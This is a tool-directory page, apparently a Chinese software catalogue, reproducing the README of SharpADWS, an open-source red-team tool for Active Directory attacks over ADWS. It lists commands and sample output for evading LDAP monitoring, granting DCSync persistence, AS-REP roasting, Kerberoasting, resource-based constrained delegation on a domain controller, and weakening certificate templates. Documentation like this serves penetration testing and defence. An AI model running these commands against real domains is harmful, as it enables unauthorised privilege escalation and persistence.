百科.dev
全部条目在线工具AI 编程趋势榜开源项目技术资讯提交条目
登录
< 返回工具列表
S

SharpADWS

> 安全
开源

通过Active Directory Web Services(ADWS)对红队进行主动目录侦察和开发.

602 stars0 点赞1 次浏览
访问官网GitHub

工具介绍

通过Active Directory Web Services(ADWS)对红队进行主动目录侦察和开发.

SharpADWS

中文文档

Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS).

Overview

SharpADWS is an Active Directory reconnaissance and exploitation tool for Red Teams that collects and modifies Active Directory data via the Active Directory Web Services (ADWS) protocol.

Typically, enumeration or manipulation of Active Directory occurs through the LDAP protocol. SharpADWS has the ability to extract or modify Active Directory data without communicating directly with the LDAP server. Under ADWS, LDAP queries are wrapped in a series of SOAP messages and then sent to the ADWS server using a NET TCP Binding encrypted channel. The ADWS server then unpacks the LDAP query locally and forwards it to the LDAP server running on the same domain controller.

Active Directory Web Services (ADWS) is automatically turned on when Active Directory Domain Services (ADDS) is installed, making SharpADWS universal across all domain environments.

Good Point

One of the main benefits of using ADWS for LDAP post-exploitation is that it is relatively unknown, and since LDAP traffic is not sent over the network, it is not easily detected by common monitoring tools. ADWS runs a completely different service than LDAP, is available on TCP port 9389, and uses the SOAP protocol as its interface.

While researching ADWS, we noticed that since it is a SOAP web service, the actual execution of the LDAP query is done locally on the domain controller. This provides a number of interesting side effects that turn out to be beneficial. For example, when analyzing LDAP queries on a domain controller, you may notice that the queries originate from 127.0.0.1 logs, which in many cases will be ignored.

A secondary benefit of this is that the activity does not show up in DeviceEvents under the LDAPSearch action type, which means very little telemetry data is available.

Protocol Implementation

SharpADWS implements MS-ADDM, MS-WSTIM and MS-WSDS protocol, you can use the source code of this project to easily implement the following operations on Active Directory Web Services:

  • Enumerate:Creates a context that maps to the specified search query filter.
  • Pull:Retrieve the result object in the context of a specific enumeration.
  • Renew:Updates the expiration time of the specified enumeration context.
  • GetStatus:Gets the expiration time of the specified enumeration context.
  • Release:Releases the specified enumeration context.
  • Delete:Delete existing objects.
  • Get:Retrieve one or more properties from an object.
  • Put:Modify the contents of one or more properties on an object.
    • Add:Adds the specified property value to the specified property's value set, or creates the property if it does not already exist on the target object.
    • Replace:Replaces the set of values in the specified property with the values specified in the operation, or creates the property if it does not already exist on the target object. If no value is specified in the operation, all values on the currently specified attribute will be deleted.
    • Delete:Removes the specified attribute value from the specified attribute. If no value is specified, all values will be deleted. If the specified property does not exist on the target object, the PUT request fails.
  • Create:Create a new object.

Usage

The command line argument -h can be used to display the following usage information:

…

Cache

When SharpADWS enumerates the ACL, in order not to perform additional ADWS requests for each unknown trustee object, it is necessary to create a complete cache of all account objects in advance through the cache method and save it to a file, thereby avoiding a large number of (unnecessary) flow. The cache contains a mapping of each account object name within the current domain to its objectSid.

cmd
C:\Users\Marcus>SharpADWS.exe Cache

[*] Cache file has been generated: object.cache

Acl

The Acl method can enumerate the DACL of the object specifying -dn, and supports filtering the enumerated DACL through the -trustee, -right and -rid parameters. For example, we want to enumerate all Domain Controller objects and filter out the DACL whose trustee is Marcus, as follows:

cmd
C:\Users\Marcus>SharpADWS.exe acl -dn "OU=Domain Controllers,DC=corp,DC=local" -scope Subtree -trustee Marcus

 Severity              : Critical
 ObjectDN              : CN=DC01,OU=Domain Controllers,DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
 ObjectType            : All
 Trustee               : Marcus
 IsInherited           : False
 

For another example, we want to enumerate all User objects and filter out DACLs with GenericWrite permissions and trustee RID greater than 1000, as shown below:

cmd
C:\Users\Marcus>SharpADWS.exe acl -dn "CN=Users,DC=corp,DC=local" -scope Subtree -right Generic -rid 1000

 Severity              : Critical
 ObjectDN              : CN=Bob,CN=Users,DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
 ObjectType            : All
 Trustee               : Marcus
 IsInherited           : False

In addition, the Acl method also supports enumeration of specific objects:

cmd
SharpADWS.exe acl -user                # Enumerate DACL for all user objects
SharpADWS.exe acl -computer            # Enumerate DACL for all computer objects
SharpADWS.exe acl -group               # Enumerate DACL for all group objects
SharpADWS.exe acl -domain              # Enumerate DACL for all domain objects
SharpADWS.exe acl -domaincontroller    # Enumerate DACL for all domain controller objects
SharpADWS.exe acl -gpo                 # Enumerate DACL for all gpo objects

**It should be noted that the use of Acl Method must rely on the mapping cache that has been established through Cache method. **

DCSync

The list action of the DCSync method can query all accounts that have been granted the DS-Replication-Get-Changes, DS-Replication-Get-Changes-All and DS-Replication-Get-Changes-In-Filtered-Set permissions, as follows Show:

…

It should be noted that the list action of DCSync Method must rely on the mapping cache that has been established through Cache method.

Additionally, given sufficient permissions, you can grant DCSync permissions to an account via write to establish a domain persistence backdoor:

cmd
C:\Users\Marcus>SharpADWS.exe DCSync -action write -target Marcus

[*] Account Marcus now has DCSync privieges on the domain.

DontReqPreAuth

The list action of the DontReqPreAuth method can find all accounts with the "Do not require kerberos preauthentication" option set, as shown below:

cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list

[*] Found users that do not require kerberos preauthentication:
[*]     CN=Bob,CN=Users,DC=corp,DC=local
[*]     CN=Alice,CN=Users,DC=corp,DC=local
[*]     CN=John,CN=Users,DC=corp,DC=local

Additionally, you can abuse WriteProperty permissions on the target account's userAccountControl property by enabling the "Do not require kerberos preauthentication" option for that account via write action to perform an AS-REP Roasting attack:

cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action write -target Administrator

[*] Set DontReqPreAuth for user Administrator successfully!

Kerberoastable

The list action of the Kerberoastable method can find all accounts with SPN set up, as shown below:

cmd
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list

[*] Found kerberoastable users:
[*] CN=krbtgt,CN=Users,DC=corp,DC=local
[*]     kadmin/changepw
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*]     WWW/win-iisserver.corp.local/IIS
[*]     TERMSERV/win-iisserver.corp.local
[*] CN=John,CN=Users,DC=corp,DC=local
[*]     TERMSERV/WIN-SERVER2026

Additionally, you can abuse WriteProperty permissions on the target account's servicePrincipalName property to perform a Kerberoasting attack by adding an SPN to that account (user accounts only) via write action:

cmd
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action write -target Administrator

[*] Kerberoast user Administrator successfully!

AddComputer

The AddComputer method allows you to create a new computer account within the scope of the ms-DS-MachineAccountQuota attribute value, which can be used in subsequent RBCD attacks.

cmd
C:\Users\Marcus>SharpADWS.exe AddComputer -computer-name PENTEST$ -computer-pass Passw0rd

[*] Successfully added machine account PENTEST$ with password Passw0rd.

RBCD

The read action of the RBCD method can read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute value of the specified account object to check who has the right to resources delegate to the account, as shown below:

cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action read -delegate-to DC01$

[*] Accounts allowed to act on behalf of other identity:
[*]     WIN-IISSERVER$    (S-1-5-21-1315326963-2851134370-1073178800-1106)
[*]     WIN-MSSQL$    (S-1-5-21-1315326963-2851134370-1073178800-1103)
[*]     WIN-PC8087$    (S-1-5-21-1315326963-2851134370-1073178800-1117)

The write action of the RBCD method can write to the msDS-AllowedToActOnBehalfOfOtherIdentity property of the target account object for Resource-Based Constrained Delegation attacks. As shown below, we first create a new extreme account PENTEST$ using the AddComputer method, and then we can execute the following command to write the SID of PENTEST$ into the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of DC01$:

cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action write -delegate-to DC01$ -delegate-from PENTEST$

[*] Delegation rights modified successfully!
[*] PENTEST$ can now impersonate users on DC01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     PENTEST$    (S-1-5-21-1315326963-2851134370-1073178800-1113)

In addition, the SID added in write action can be removed from the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the target object through remove action:

cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action remove -delegate-to DC01$ -delegate-from PENTEST$

[*] Delegation rights modified successfully!
[*] Accounts allowed to act on behalf of other identity has been removed:
[*]     PENTEST$    (S-1-5-21-1315326963-2851134370-1073178800-1113)

Certify

The find action of the Certify method can enumerate the data in ADCS, including all certificate authorities and certificate templates, just like Certify:

…

In addition, find action supports the -enrolleeSuppliesSubject and -clientAuth options, which can filter out all certificate templates that have the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag turned on and support Client Authentication:

…

**It should be noted that the find of Certify Method must rely on the mapping cache that has been established through Cache Method. **

The modify action of the Certify method allows you to modify the properties of the certificate template, such as turning on the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag or enabling Client Authentication, if you have write access to the target template:

cmd
C:\Users\Marcus>SharpADWS.exe Certify -action modify -template User -enrolleeSuppliesSubject -clientAuth

[*] Enable enrollee supplies subject for template User successfully!
[*] Enable client authentication for template

Issues· 0 开放

查看全部 Issues在 GitHub 打开

暂无开放 Issues,或尚未同步最近议题。

> 标签

C#active-directorycybersecurityredteam

暂无评论,来聊聊你的看法吧

> 工具信息

发布日期2026年8月1日
最后更新2026年9月17日
分类安全
定价开源

> 相关工具

O
OWASP ZAP
开源 Web 应用安全扫描器
O
owasp-wstg-tracker
Simple web app to track OWASP WSTG security testing progress
H
homebridge-mi-gateway-security
XiaoMi Gateway Security plugin for HomeBridge.